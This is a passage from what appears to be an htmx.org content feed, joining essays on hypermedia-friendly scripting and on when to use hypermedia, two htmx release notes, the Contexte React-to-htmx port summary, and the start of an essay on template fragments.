<pre data-lang="html" style="background-color:#1f2329;color:#abb2bf;" class="language-html "><code class="language-html" data-lang="html"><span><</span><span style="color:#e06c75;">form </span><span style="color:#d19a66;">class</span><span>=</span><span style="color:#98c379;">"sortable" </span><span style="color:#d19a66;">hx-post</span><span>=</span><span style="color:#98c379;">"/items" </span><span style="color:#d19a66;">hx-trigger</span><span>=</span><span style="color:#98c379;">"end"</span><span>>
</span><span> <</span><span style="color:#e06c75;">div </span><span style="color:#d19a66;">class</span><span>=</span><span style="color:#98c379;">"htmx-indicator"</span><span>>Updating...</</span><span style="color:#e06c75;">div</span><span>>
</span><span> <</span><span style="color:#e06c75;">div</span><span>><</span><span style="color:#e06c75;">input </span><span style="color:#d19a66;">type</span><span>=</span><span style="color:#98c379;">'hidden' </span><span style="color:#d19a66;">name</span><span>=</span><span style="color:#98c379;">'item' </span><span style="color:#d19a66;">value</span><span>=</span><span style="color:#98c379;">'1'</span><span>/>Item 1</</span><span style="color:#e06c75;">div</span><span>>
</span><span> <</span><span style="color:#e06c75;">div</span><span>><</span><span style="color:#e06c75;">input </span><span style="color:#d19a66;">type</span><span>=</span><span style="color:#98c379;">'hidden' </span><span style="color:#d19a66;">name</span><span>=</span><span style="color:#98c379;">'item' </span><span style="color:#d19a66;">value</span><span>=</span><span style="color:#98c379;">'2'</span><span>/>Item 2</</span><span style="color:#e06c75;">div</span><span>>
</span><span> <</span><span style="color:#e06c75;">div</span><span>><</span><span style="color:#e06c75;">input </span><span style="color:#d19a66;">type</span><span>=</span><span style="color:#98c379;">'hidden' </span><span style="color:#d19a66;">name</span><span>=</span><span style="color:#98c379;">'item' </span><span style="color:#d19a66;">value</span><span>=</span><span style="color:#98c379;">'3'</span><span>/>Item 3</</span><span style="color:#e06c75;">div</span><span>>
</span><span> <</span><span style="color:#e06c75;">div</span><span>><</span><span style="color:#e06c75;">input </span><span style="color:#d19a66;">type</span><span>=</span><span style="color:#98c379;">'hidden' </span><span style="color:#d19a66;">name</span><span>=</span><span style="color:#98c379;">'item' </span><span style="color:#d19a66;">value</span><span>=</span><span style="color:#98c379;">'4'</span><span>/>Item 4</</span><span style="color:#e06c75;">div</span><span>>
</span><span> <</span><span style="color:#e06c75;">div</span><span>><</span><span style="color:#e06c75;">input </span><span style="color:#d19a66;">type</span><span>=</span><span style="color:#98c379;">'hidden' </span><span style="color:#d19a66;">name</span><span>=</span><span style="color:#98c379;">'item' </span><span style="color:#d19a66;">value</span><span>=</span><span style="color:#98c379;">'5'</span><span>/>Item 5</</span><span style="color:#e06c75;">div</span><span>>
</span><span></</span><span style="color:#e06c75;">form</span><span>>
</span></code></pre>
<p>The <code>end</code> event is triggered by Sortable.js when a drag-and-drop completes. htmx listens for this event via the
<a href="https://htmx.org/attributes/hx-trigger/"><code>hx-trigger</code></a> attribute and then issues an HTTP request, exchanging hypermedia with the
server. This turns this Sortable.js drag-and-drop powered widget into a new, powerful hypermedia control.</p>
<h2 id="islands"><a class="zola-anchor" href="#islands" aria-label="Anchor link for: islands">#</a>Islands</h2>
<p>A recent trend in web development is the notion of <a rel="noopener" target="_blank" href="https://www.patterns.dev/posts/islands-architecture/">“islands”</a>:</p>
<blockquote>
<p>The islands architecture encourages small, focused chunks of interactivity within server-rendered web pages.</p>
</blockquote>
<p>In cases where a more sophisticated scripting approach is required and where communication with a server
outside of the normal hypermedia-exchange mechanism is necessary, the most hypermedia-friendly approach is to use the island
architecture. This isolates non-hypermedia components from the rest of the Hypermedia-Driven Application.</p>
<p>Events are a clean way to integrate your non-hypermedia-driven islands within a broader Hypermedia-Driven Application,
allowing you to convert an “inner” island into an “outer” hypermedia control, just as in the case of the Sortable.js example
above.</p>
<p>Deniz Akşimşek has made the observation that it is typically easier to embed non-hypermedia islands within a larger
Hypermedia-Driven Application, rather than vice-versa.</p>
<h2 id="inline"><a class="zola-anchor" href="#inline" aria-label="Anchor link for: inline">#</a>Inline Scripts</h2>
<p>A final rule for hypermedia-friendly scripting is inline scripting: writing your scripts directly within a hypermedia,
rather than locating your scripts in an external file. This is a controversial concept compared with the others
listed here, and we consider it an “optional” rule for hypermedia-friendly scripting: worth considering but not required.</p>
<p>This approach to scripting, while idiosyncratic, has been adopted by some HTML scripting libraries, notably
<a rel="noopener" target="_blank" href="https://alpinejs.dev/">Alpine.js</a> and <a rel="noopener" target="_blank" href="https://hyperscript.org">hyperscript</a>.</p>
<p>Here is some example hyperscript, showing an inline script:</p>
<pre data-lang="html" style="background-color:#1f2329;color:#abb2bf;" class="language-html "><code class="language-html" data-lang="html"><span><</span><span style="color:#e06c75;">button </span><span style="color:#d19a66;">_</span><span>=</span><span style="color:#98c379;">"on click toggle .visible on the next <section/>"</span><span>>
</span><span> Show Next Section
</span><span></</span><span style="color:#e06c75;">button</span><span>>
</span><span><</span><span style="color:#e06c75;">section</span><span>>
</span><span> ....
</span><span></</span><span style="color:#e06c75;">section</span><span>>
</span></code></pre>
<p>This button, as it says, toggles the <code>.visible</code> class on the <code>section</code> element when it is clicked.</p>
<p>A primary advantage of this inline approach to hypermedia scripting is that, conceptually, the hypermedia itself is
emphasized, rather than the scripting of the hypermedia.</p>
<p>Contrast this code with <a rel="noopener" target="_blank" href="https://reactjs.org/docs/components-and-props.html">JSX Components</a>, where the
scripting language (JavaScript) is the core concept, with hypermedia/HTML embedded within it:</p>
<pre data-lang="js" style="background-color:#1f2329;color:#abb2bf;" class="language-js "><code class="language-js" data-lang="js"><span style="color:#c678dd;">class </span><span style="color:#e5c07b;">Button </span><span style="color:#c678dd;">extends </span><span>React.</span><span style="color:#98c379;">Component </span><span>{
</span><span> </span><span style="color:#c678dd;">constructor</span><span>(</span><span style="color:#e06c75;">props</span><span>) {
</span><span> </span><span style="font-style:italic;color:#848da1;">// ...
</span><span> }
</span><span> </span><span style="color:#61afef;">toggleVisibilityOnNextSection</span><span>() {
</span><span> </span><span style="font-style:italic;color:#848da1;">// ...
</span><span> }
</span><span> </span><span style="color:#61afef;">render</span><span>() {
</span><span> </span><span style="color:#c678dd;">return </span><span><button onClick={this.</span><span style="color:#e06c75;">toggleVisibilityOnNextSection</span><span>}>{this.props.</span><span style="color:#e06c75;">text</span><span>}</</span><span style="color:#e06c75;">button</span><span>>;
</span><span> }
</span><span>}
</span></code></pre>
<p>Here, you can see that the JavaScript is the primary technology in use, with the hypermedia/HTML being used as a UI
description mechanism. The fact that the HTML is a hypermedia is almost immaterial in this case.</p>
<p>That being said, the inline scripting and the JSX approach do share an advantage in common: both satisfy the <a href="https://htmx.org/essays/locality-of-behaviour/">Locality of Behavior(LoB)</a>,
design principle. They both <em>localize</em> behavior to the elements or components in question, which makes it easier to see
what these elements and components do.</p>
<p>Of course, with inline scripts, there should be a soft limit to the amount of scripting done directly within the
hypermedia. You don’t want to overwhelm your hypermedia with scripting, so that it becomes difficult to understand “the shape”
of the hypermedia document.</p>
<p>Using techniques like invoking library functions or using <a rel="noopener" target="_blank" href="https://hyperscript.org/features/behavior/">hyperscript behaviors</a>
allow you to use inline scripting while pulling implementations out to a separate file or location.</p>
<p>Inline scripting isn’t required for scripting to be hypermedia-friendly, but it is worth considering as an alternative to a
more traditional scripting/hypermedia split.</p>
<h2 id="pragmatism"><a class="zola-anchor" href="#pragmatism" aria-label="Anchor link for: pragmatism">#</a>Pragmatism</h2>
<p>Of course, here in the real world, there are many useful JavaScript libraries that violate HATEOAS and that do not trigger
events. This often makes them difficult fits for a Hypermedia-Driven Application. Nonetheless, these libraries may
provide crucial bits of functionality that are difficult to find elsewhere.</p>
<p>In cases like this, we advocate pragmatism: if it is easy enough to alter the library to be hypermedia-friendly or to
wrap it in a hypermedia-friendly way, that may be a good option. You never know, the upstream author might
<a rel="noopener" target="_blank" href="https://github.com/dropzone/dropzone/commit/64771e35baf032ee0910d1e56e6f44457efe138e">consider a pull request</a>
to help improve their library.</p>
<p>But, if not, and if there are no good alternatives, then just use the JavaScript library as it is designed.</p>
<p>Try to isolate a hypermedia-unfriendly library from the rest of your application, but, in general, do not
spend too much of your <a rel="noopener" target="_blank" href="https://hyperscript.org/docs/#debugging">complexity budget</a> on maintaining conceptual purity:
sufficient unto the day is the evil thereof.</p>
htmx 1.8.3 has been released!2022-11-04T00:00:00+00:002022-11-04T00:00:00+00:00Unknownhttps://htmx.org/posts/2022-11-04-htmx-1-8-3-is-released/<h2 id="htmx-1-8-3-release">htmx 1.8.3 Release</h2>
<p>I’m happy to announce the <a rel="noopener" target="_blank" href="https://unpkg.com/browse/htmx.org@1.8.3/">1.8.3 release</a> of htmx.</p>
<h3 id="new-features">New Features</h3>
<ul>
<li>A new <a href="https://htmx.org/events/#htmx:confirm"><code>htmx:confirm</code> event</a> was added that allows for asynchronous confirmation dialogs to
be integrated into htmx requests</li>
<li>The new <a href="https://htmx.org/extensions/head-support/">head-support</a> extension allows for more elaborate head tag merging than standard htmx
supports. This functionality may be integrated into htmx 2.0, depending on feedback.</li>
<li>The new <a href="https://htmx.org/extensions/multi-swap/">multi-swap</a> provides more elaborate swapping of multiple elements on a screen using
a custom swap strategy</li>
</ul>
<h3 id="improvements-bug-fixes">Improvements & Bug fixes</h3>
<ul>
<li>Many smaller bug and docs fixes</li>
</ul>
<p>Enjoy!</p>
When Should You Use Hypermedia?2022-10-23T00:00:00+00:002023-02-03T00:00:00+00:00Unknownhttps://htmx.org/essays/when-to-use-hypermedia/<blockquote>
<p>The trade-off, though, is that a uniform interface degrades efficiency, since information is transferred in a
standardized form rather than one which is specific to an application’s needs. The REST interface is designed to be
efficient for large-grain hypermedia data transfer, optimizing for the common case of the Web, but resulting in an
interface that is not optimal for other forms of architectural interaction.</p>
</blockquote>
<p><em>-Roy Fielding, <a rel="noopener" target="_blank" href="https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm#sec_5_1_5">https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm#sec_5_1_5</a></em></p>
<p>We are obviously fans of hypermedia and think that it can address, at least in part, many of the problems that the web
development world is facing today:</p>
<ul>
<li>Hypermedia is often <a href="https://htmx.org/essays/a-real-world-react-to-htmx-port/">significantly less complex</a> than an SPA approach would
be for many problems</li>
<li>Hypermedia allows your application API to be <a href="https://htmx.org/essays/hateoas/">much more aggressively refactored and optimized</a></li>
<li>Hypermedia takes pressure off adopting a particular server technology, since you do not have an extensive JavaScript
front-end code base</li>
</ul>
<p>With <a href="https://htmx.org/">htmx</a> and the additional UX possibilities that it gives you, we believe that many modern web applications can be built
using HTML and the hypermedia paradigm.</p>
<p>With that being said, as with all technical choices, there are tradeoffs associated with hypermedia. In this article
we will give you some ways to think about if hypermedia will be a good fit for an application or feature you are building.</p>
<h2 id="transitional-applications-hypermedia"><a class="zola-anchor" href="#transitional-applications-hypermedia" aria-label="Anchor link for: transitional-applications-hypermedia">#</a>Transitional Applications & Hypermedia</h2>
<p>Before we get into the details of when hypermedia is a good choice, we’d like to clarify that adopting hypermedia is not
an <a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/Either/Or">either/or</a> decision when building a web application. Even the most Single-y
of Single Page Applications utilizes hypermedia after all: as a bootstrap mechanism, to start the application.</p>
<p>In his talk, <a rel="noopener" target="_blank" href="https://www.youtube.com/watch?v=860d8usGC0o">Have SPAs Ruined The Web</a>, Rich Harris gives us the term
“Transitional” Applications, that is applications that <em>mix</em> both hypermedia and non-hypermedia (SPA) concepts. We
have responded to Mr. Harris’ talk <a href="https://htmx.org/essays/a-response-to-rich-harris/">in more detail here</a>, but suffice to say we
violently agree with him that a pragmatic “Transitional” approach to web development is best: you should use the
right tool for the particular job you are working on.</p>
<p>Where we would likely disagree with Mr. Harris is where “the line” is between features that can be implemented
effectively in hypermedia and features that require a more sophisticated client-side approach. We feel that, with htmx,
hypermedia can go much, much further than many web developers today believe is possible. And, further, that, for many
applications, it can address many or all of their UX needs.</p>
<h2 id="hypermedia-a-good-fit-if"><a class="zola-anchor" href="#hypermedia-a-good-fit-if" aria-label="Anchor link for: hypermedia-a-good-fit-if">#</a>Hypermedia: A Good Fit If…</h2>
<h3 id="if-your-ui-is-mostly-text-images"><a class="zola-anchor" href="#if-your-ui-is-mostly-text-images" aria-label="Anchor link for: if-your-ui-is-mostly-text-images">#</a><em>…If your UI is mostly text & images</em></h3>
<p>In <a href="https://htmx.org/essays/a-real-world-react-to-htmx-port/">The Mother Of All htmx Demos</a>, David Guillot of Contexte shows how replacing
React with htmx lead to a 67% reduction in the total codebase, along with numerous other eye-popping results.</p>
<p>As much as we would like to claim that every team moving from React to htmx would experience these results, the fact is that the
Contexte web application is <em>extremely amenable</em> to the hypermedia style.</p>
<p>What makes Contexte so perfect for hypermedia is that it is a media-oriented web application, showing articles consisting
of text and images for reading. It has a sophisticated filtering mechanism and other niceties, but the crux of the
application is displaying and categorizing articles. This is exactly the sort of thing that hypermedia was designed to
do, and this is why htmx and hypermedia worked so well for their application.</p>
<h3 id="if-your-ui-is-crud-y"><a class="zola-anchor" href="#if-your-ui-is-crud-y" aria-label="Anchor link for: if-your-ui-is-crud-y">#</a><em>…If your UI is CRUD-y</em></h3>
<p>Another area where hypermedia has a long track-record of success is <a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/Create,_read,_update_and_delete">CRUD</a>-y
web applications, in the <a rel="noopener" target="_blank" href="https://rubyonrails.org/">Ruby on Rails</a> style. If your main application mechanic is showing
forms and saving the forms into a database, hypermedia can work very well.</p>
<p>And, with htmx, it can also be <a href="https://htmx.org/examples/click-to-edit/">very smooth</a>, and not just constrained
to the simple <a href="https://htmx.org/examples/edit-row/">list view/detail view</a> approach many server side applications take.</p>
<h3 id="if-your-ui-is-nested-with-updates-mostly-taking-place-within-well-defined-blocks"><a class="zola-anchor" href="#if-your-ui-is-nested-with-updates-mostly-taking-place-within-well-defined-blocks" aria-label="Anchor link for: if-your-ui-is-nested-with-updates-mostly-taking-place-within-well-defined-blocks">#</a><em>…If your UI is “nested”, with updates mostly taking place within well-defined blocks</em></h3>
<p>One area where hypermedia can start to go a little wobbly is when you have UI dependencies that span structural
areas of the screen. A good example of this, and one that often comes up when discussing the hypermedia approach, is the issue
count number shown on the <a rel="noopener" target="_blank" href="https://github.com/bigskysoftware/htmx/issues">“Issues” tab</a> in GitHub. For a long time,
when you closed an issue on GitHub, the issue count on the tab did not update properly. GitHub, in general (although
not exclusively), uses a hypermedia-style application.</p>
<p>“Ah ha!”, exclaims the SPA enthusiast, “See, even GitHub can’t get this right!”</p>
<p>Well, GitHub has fixed the issue, but it does demonstrate a problem with the hypermedia approach: how do you update
disjoint parts of the UI cleanly? htmx offers <a href="https://htmx.org/examples/update-other-content/">a few techniques for making this work</a>,
and Contexte, in their talk, discuss handling this situation very cleanly, using the event approach.</p>
<p>But, let us grant that this is an area where the hypermedia approach can get into trouble. To avoid this problem, one
potential strategy is to colocate dependent elements for a given resource within a given region or area on the screen in an
application.</p>
<p>As an example, consider a contact application whose detail screen for displaying and editing a contact has:</p>
<ul>
<li>An area for basic contact information</li>
<li>An area for the contact’s emails, and the count of those emails</li>
<li>An area for the contact’s phone numbers, and the count of those phone numbers</li>
</ul>
<p>This UI could be laid out in the following manner:</p>
<p><img src="/img/nesting-example.png" alt="Nested Example" /></p>
<p>In this scenario, each subsection can have its own dedicated hypermedia end-points:</p>
<ul>
<li><code>/contacts/<id>/details</code> for the first name/last name/ etc. info</li>
<li><code>/contacts/<id>/emails</code> for the email section</li>
<li><code>/contacts/<id>/phonenumbers</code> for the phone numbers section</li>
</ul>
<p>The trick here is that the email and phone counts are co-located on the screen with their collections, which allows you to
<a href="https://htmx.org/attributes/hx-target/">target</a> just that particular area for update when a modification is made to the respective
collections. All the data dependencies are co-located within a single area that can be updated via a single, simple
and obvious target, and that, further, don’t interfere with one another when they are replaced.</p>
<p>Each area effectively forms a sort of server-side component, independent of the other areas on the screen, and they are
all nested within a broader contact detail user interface.</p>
<h4 id="a-side-node-ui-driven-hypermedia-apis"><a class="zola-anchor" href="#a-side-node-ui-driven-hypermedia-apis" aria-label="Anchor link for: a-side-node-ui-driven-hypermedia-apis">#</a>A Side Node: UI Driven Hypermedia APIs</h4>
<p>Note that our hypermedia API (i.e. our end-points) in this case is <em>driven by the UI</em>: we have a particular UI layout
that we want to achieve, and we adapt our API to that. If the UI changed, we would have no qualms with completely changing
our API to satisfy the new requirements. This is a <a href="https://htmx.org/essays/hateoas/">unique aspect</a> of developing with
hypermedia, and we <a href="https://htmx.org/essays/hypermedia-apis-vs-data-apis/">discuss it in more detail here</a>.</p>
<p>Of course, there may be UI requirements that do not allow for grouping of dependent element in this manner and, if
the techniques <a href="https://htmx.org/examples/update-other-content/">mentioned above</a> aren’t satisfactory, then it may be
time to consider an alternative approach.</p>
<h3 id="if-you-need-deep-links-good-first-render-performance"><a class="zola-anchor" href="#if-you-need-deep-links-good-first-render-performance" aria-label="Anchor link for: if-you-need-deep-links-good-first-render-performance">#</a><em>…If you need “deep links” & good first-render performance</em></h3>
<p>A final area where hypermedia outperforms other options is when you need “deep links”, that is, links into your
application that go beyond the landing page, or when you need excellent first-render performance.</p>
<p>Since hypermedia is the natural language of the web, and since browsers are very good at rendering HTML given a URL,
using this approach is hard to beat for “traditional” web features such as these.</p>
<h2 id="hypermedia-not-a-good-fit-if"><a class="zola-anchor" href="#hypermedia-not-a-good-fit-if" aria-label="Anchor link for: hypermedia-not-a-good-fit-if">#</a>Hypermedia: Not A Good Fit If…</h2>
<h3 id="if-your-ui-has-many-dynamic-interdependencies"><a class="zola-anchor" href="#if-your-ui-has-many-dynamic-interdependencies" aria-label="Anchor link for: if-your-ui-has-many-dynamic-interdependencies">#</a><em>…If your UI has many, dynamic interdependencies</em></h3>
<p>As we discussed above in the section on “nested” UIs, one area where hypermedia can have trouble is when there are
many UI dependencies spread across your UI and you can’t afford to “update the whole UI”. This is what Roy Fielding was
getting at in the quote at the top of this article: the web was designed for large-grain hypermedia data transfers, not
for lots of small data exchanges.</p>
<p>Particularly difficult for hypermedia to handle is when these dependencies are dynamic, that is, they depend on information
that cannot be determined at server-side render-time. A good example of this is something like a spreadsheet: a user can
enter an arbitrary function into a cell and introduce all sorts of dependencies on the screen, on the fly.</p>
<p>(Note, however, that for many applications, the <a href="https://htmx.org/examples/edit-row/">“editable row”</a> pattern is an
acceptable alternative to more general spreadsheet-like behavior, and this pattern does play well with hypermedia by
isolating edits within a bounded area.)</p>
<h3 id="if-you-require-offline-functionality"><a class="zola-anchor" href="#if-you-require-offline-functionality" aria-label="Anchor link for: if-you-require-offline-functionality">#</a><em>…If you require offline functionality</em></h3>
<p>The hypermedia distributed architecture leans heavily on the server side for rendering representations of resources. When
a server is down or unreachable, the architecture will obviously have trouble. It is possible to use Service Workers
to handle offline requests (although this is a complex option), and it is also easy to detect when a hypermedia
application is offline and show an offline message, as many thick-client application do.</p>
<p>But if your application requires full functionality in an offline environment, then the hypermedia approach is not
going to be an acceptable one.</p>
<h3 id="if-your-ui-state-is-updated-extremely-frequently"><a class="zola-anchor" href="#if-your-ui-state-is-updated-extremely-frequently" aria-label="Anchor link for: if-your-ui-state-is-updated-extremely-frequently">#</a><em>…If your UI state is updated extremely frequently</em></h3>
<p>Another situation where hypermedia is not going to be a good approach is if your UI state is updated frequently. A good
example is an online game that needs to capture mouse movements. Putting a hypermedia network request in-between a mouse
move and a UI update will not work well, and you would be far better off writing your own client-side state management
for the game and syncing with a server using a different technology.</p>
<p>Of course, your game may also have a setting page and that setting page might be better done with hypermedia than
whatever solution you use for the core of your game. There is nothing wrong with mixing approaches, in the Transitional
style!</p>
<p>We should note, however, that it is typically easier to embed SPA components <em>within</em> a larger hypermedia
architecture, than vice-versa. Isolated client-side components can communicate with a broader hypermedia application
via <a rel="noopener" target="_blank" href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Building_blocks/Events">events</a>, in the manner demonstrated
in the <a href="https://htmx.org/examples/sortable/">drag-and-drop Sortable.js + htmx</a> example.</p>
<h3 id="if-your-team-is-not-on-board"><a class="zola-anchor" href="#if-your-team-is-not-on-board" aria-label="Anchor link for: if-your-team-is-not-on-board">#</a><em>…If your team is not on board</em></h3>
<p>A final reason to not choose hypermedia isn’t technical, but rather sociological: currently, hypermedia simply isn’t
in favor in web development. Many companies have adopted React as their standard library for building web applications.<br />
Many developers and consultants have bet their careers on it. Many hiring managers have never heard of hypermedia, let
alone htmx, but put React on every job they post out of habit. It is certainly much easier to hire for!</p>
<p>While this is frustrating, it is a real phenomenon and should be borne in mind with humility. Although Contexte
was able to rewrite their application quickly and effectively in htmx, not all teams are as small, agile and
passionate, nor are all applications such slam dunks for the approach. It may be better to adopt hypermedia around
the edges, perhaps for internal tools first, to prove its value first, before taking a broader look at it.</p>
<h2 id="conclusion"><a class="zola-anchor" href="#conclusion" aria-label="Anchor link for: conclusion">#</a>Conclusion</h2>
<p>We are often asked: “OK, so what sorts of applications <strong>wouldn’t</strong> htmx be good for”. We prefer to think about
things on a feature-by-feature basis using the “Transitional” application concept, but it is useful to have some
broad, popular applications in mind when thinking about just how much might be done in hypermedia versus other
approaches.</p>
<p>To give an example of two famous applications that we think <em>could</em> be implemented cleanly in hypermedia, consider
<a rel="noopener" target="_blank" href="https://twitter.com">Twitter</a> or <a rel="noopener" target="_blank" href="https://gmail.com">GMail</a>. Both web applications are text-and-image heavy, with
coarse-grain updates and, thus, would be quite amenable to a hypermedia approach.</p>
<p>Two famous examples of web applications that would <em>not</em> be amenable to a hypermedia approach are
<a rel="noopener" target="_blank" href="https://www.google.com/sheets/about/">Google Sheets</a> and <a rel="noopener" target="_blank" href="https://maps.google.com">Google Maps</a>. Google Sheets can have
a large amounts of state within and interdependencies between many cells, making it untenable to issue a server request on every
cell update. Google Maps, on the other hand, responds rapidly to mouse movements and simply can’t afford a server round trip for
every one of them. Both of these applications require a much more sophisticated client-side setup than what hypermedia
can provide.</p>
<p>Of course, the vast majority of web applications are nowhere near the scale and complexity of these examples. And almost
every web application, even Google Sheets or Google Maps, has parts where, potentially, the hypermedia approach would be
better: simpler, faster and cleaner.</p>
<p>Having hypermedia as a tool in your tool-chest will improve your ability to address engineering problems as a web
developer, even if it doesn’t become your favorite hammer. There is a good <a href="https://htmx.org/essays/hateoas/">theoretical basis</a>
for the approach, <a href="https://htmx.org/essays/a-real-world-react-to-htmx-port/">practical benefits for many applications</a>,
and it is “with the grain” of the web in a way that other approaches are not.</p>
htmx 1.8.1 has been released!2022-10-11T00:00:00+00:002022-10-11T00:00:00+00:00Unknownhttps://htmx.org/posts/2022-10-11-htmx-1-8-1-is-released/<h2 id="htmx-1-8-1-release">htmx 1.8.1 Release</h2>
<p>I’m happy to announce the <a rel="noopener" target="_blank" href="https://unpkg.com/browse/htmx.org@1.8.1/">1.8.1 release</a> of htmx.</p>
<h3 id="new-features">New Features</h3>
<ul>
<li>We now keep a count of outstanding requests for an indicator, so more than one overlapping request can share the same
indicator without issues</li>
<li>We now track the attribute state of an element and re-initialize it if <code>htmx.process()</code> is called on the element and
the attributes have changed</li>
<li><a rel="noopener" target="_blank" href="https://github.com/bigskysoftware/idiomorph">Idiomorph</a> is now available for all your morph-swapping needs</li>
<li>The new <a href="https://htmx.org/attributes/hx-validate/"><code>hx-validate</code></a> attribute will force elements to validate before a request, even if
they are not within a form being submitted</li>
</ul>
<h3 id="improvements-bug-fixes">Improvements & Bug fixes</h3>
<ul>
<li>The <code>unset</code> directive now works properly for <code>hx-vals</code> and <code>hx-vars</code></li>
<li>The title of the page is now properly set on a history cache miss</li>
<li>Many smaller bug and docs fixes</li>
</ul>
<p>Enjoy!</p>
A Real World React -> htmx Port2022-09-29T00:00:00+00:002022-10-15T00:00:00+00:00Unknownhttps://htmx.org/essays/a-real-world-react-to-htmx-port/<p>It is all well and good talking about <a href="https://htmx.org/essays/hateoas/">REST & HATEOAS</a> in theory or describing the
<a href="https://htmx.org/essays/hypermedia-driven-applications/">Hypermedia-Driven Application</a> architecture, but, at the end of the day, what
matters in software is practical: Does it work? Does it improve things?</p>
<p>We can say for sure that htmx <em>works</em>, since we use it in our own software. But it is hard to say that it would be
an <em>improvement</em> over other approaches, since we haven’t had an apples-to-apples comparison of how htmx might compare with,
say, <a rel="noopener" target="_blank" href="https://reactjs.org/">react</a>.</p>
<p>Until now.</p>
<p><a rel="noopener" target="_blank" href="https://github.com/David-Guillot">David Guillot</a> at <a rel="noopener" target="_blank" href="https://www.contexte.com/">Contexte</a> has given what we are calling
<a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/The_Mother_of_All_Demos">“The Mother of All htmx Demos”</a> at
<a rel="noopener" target="_blank" href="https://pretalx.evolutio.pt/djangocon-europe-2022/talk/MZWJEA/">DjangoCon 2022</a>:</p>
<blockquote>
<p><strong>From React to htmx on a real-world SaaS product: we did it, and it’s awesome!</strong></p>
<p>We took the plunge and replaced the 2-year-of-work React UI of our SaaS product with simple Django templates and htmx
in a couple of months. We’d like to share our experience with you, with concrete indicators on various aspects, and
convince your CTO!</p>
</blockquote>
<h2 id="video"><a class="zola-anchor" href="#video" aria-label="Anchor link for: video">#</a>Video</h2>
<p>You can (should!) watch the entire presentation here:</p>
<iframe style="max-width: 100%" width="618" height="352" src="https://www.youtube.com/embed/3GObi93tjZI" title="DjangoCon 2022 | From React to htmx on a real-world SaaS product: we did it, and it's awesome!" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
<h2 id="executive-summary"><a class="zola-anchor" href="#executive-summary" aria-label="Anchor link for: executive-summary">#</a>Executive Summary</h2>
<ul>
<li>The effort took about <strong>2 months</strong> (with a 21K LOC code base, mostly JavaScript)</li>
<li><strong>No reduction</strong> in the application’s user experience (UX)</li>
<li>They reduced the <strong>code base size</strong> by <strong>67%</strong> (21,500 LOC to 7200 LOC)</li>
<li>They <em>increased</em> <strong>python code</strong> by <strong>140%</strong> (500 LOC to 1200 LOC), a good thing if you prefer python to JS</li>
<li>They reduced their total <strong>JS dependencies</strong> by <strong>96%</strong> (255 to 9)</li>
<li>They reduced their <strong>web build time</strong> by <strong>88%</strong> (40 seconds to 5)</li>
<li><strong>First load time-to-interactive</strong> was reduced by <strong>50-60%</strong> (from 2 to 6 seconds to 1 to 2 seconds)</li>
<li><strong>Much larger data sets were possible</strong> when using htmx, because react simply couldn’t handle the data</li>
<li>Web application <strong>memory usage</strong> was reduced by <strong>46%</strong> (75MB to 45MB)</li>
</ul>
<h2 id="analysis"><a class="zola-anchor" href="#analysis" aria-label="Anchor link for: analysis">#</a>Analysis</h2>
<p>These are eye-popping numbers, and they reflect the fact that the Contexte application is extremely amenable to
hypermedia: it is a content-focused application that shows lots of text and images. We would not expect every
web application to see these sorts of numbers.</p>
<p>However, we <em>would</em> expect <em>many</em> applications to see dramatic improvements by adopting the hypermedia/htmx approach, at
least for part of their system.</p>
<h3 id="dev-team-makeup"><a class="zola-anchor" href="#dev-team-makeup" aria-label="Anchor link for: dev-team-makeup">#</a>Dev Team Makeup</h3>
<p>One easy-to-overlook aspect of the port is the effect it had on the team’s structure. When Contexte was using react,
there was a hard split between back-end and front-end, with two developers being entirely back-end, one developer being
entirely front-end, and one developer being “full stack”.</p>
<p>(“Full stack” here means they are comfortable doing work on both the front-end and back-end, and, thus are able to
develop features entirely independently across the whole “stack”.)</p>
<p>After the port to htmx, <em>the entire team</em> became “full stack” developers. This means that each team member is more
effective and able to contribute more value. It also makes development more fun, since developers can own an entire
feature. Finally, it can lead to better optimized software, since the developer can make optimizations anywhere in
the stack without needing to coordinate with other developers.</p>
<h2 id="slides"><a class="zola-anchor" href="#slides" aria-label="Anchor link for: slides">#</a>Slides</h2>
<p>The slides for the presentation can be found here (be sure to check the excellent speakers notes!)</p>
<p><a rel="noopener" target="_blank" href="https://docs.google.com/presentation/d/1jW7vTiHFzA71m2EoCywjNXch-RPQJuAkTiLpleYFQjI/edit?usp=sharing">https://docs.google.com/presentation/d/1jW7vTiHFzA71m2EoCywjNXch-RPQJuAkTiLpleYFQjI/edit?usp=sharing</a></p>
Template Fragments2022-08-03T00:00:00+00:002023-03-18T00:00:00+00:00Unknownhttps://htmx.org/essays/template-fragments/<p>Template fragments are a relatively rare Server Side Rendering (SSR) template library feature that allow you to render a
<em>fragment</em> or partial bit of the content within a template, rather than the entire template. This feature is very handy in
<a href="https://htmx.org/essays/hypermedia-driven-applications/">Hypermedia Driven Applications</a> because it allows you to decompose a particular
view for partial updates <em>internally</em> without pulling fragments of the template out to separate files for rendering,
creating a large number of individual template files.</p>
<p>By keeping all the HTML in a single file, it is also easier to reason about how a feature works. This follows the
<a href="https://htmx.org/essays/locality-of-behaviour/">Locality of Behavior</a> design principle.</p>
<h2 id="motivation"><a class="zola-anchor" href="#motivation" aria-label="Anchor link for: motivation">#</a>Motivation</h2>
<p>Let’s look at how template fragments, in an obscure templating language for java called
<a rel="noopener" target="_blank" href="https://github.com/bigskysoftware/chill/tree/master/chill-script">chill templates</a>, can help us build an HDA.</p>
<p>Here is a simple chill template, <code>/contacts/detail.html</code> that displays a contact:</p>
<h5 id="contacts-detail-html"><a class="zola-anchor" href="#contacts-detail-html" aria-label="Anchor link for: contacts-detail-html">#</a>/contacts/detail.html</h5>
<pre data-lang="html" style="background-color:#1f2329;color:#abb2bf;" class="language-html "><code class="language-html" data-lang="html"><span><</span><span style="color:#e06c75;">html</span><span>>
</span><span> <</span><span style="color:#e06c75;">body</span><span>>
</span><span> <</span><span style="color:#e06c75;">div </span><span style="color:#d19a66;">hx-target</span><span>=</span><span style="color:#98c379;">"this"</span><span>>
</span><span> #if contact.archived
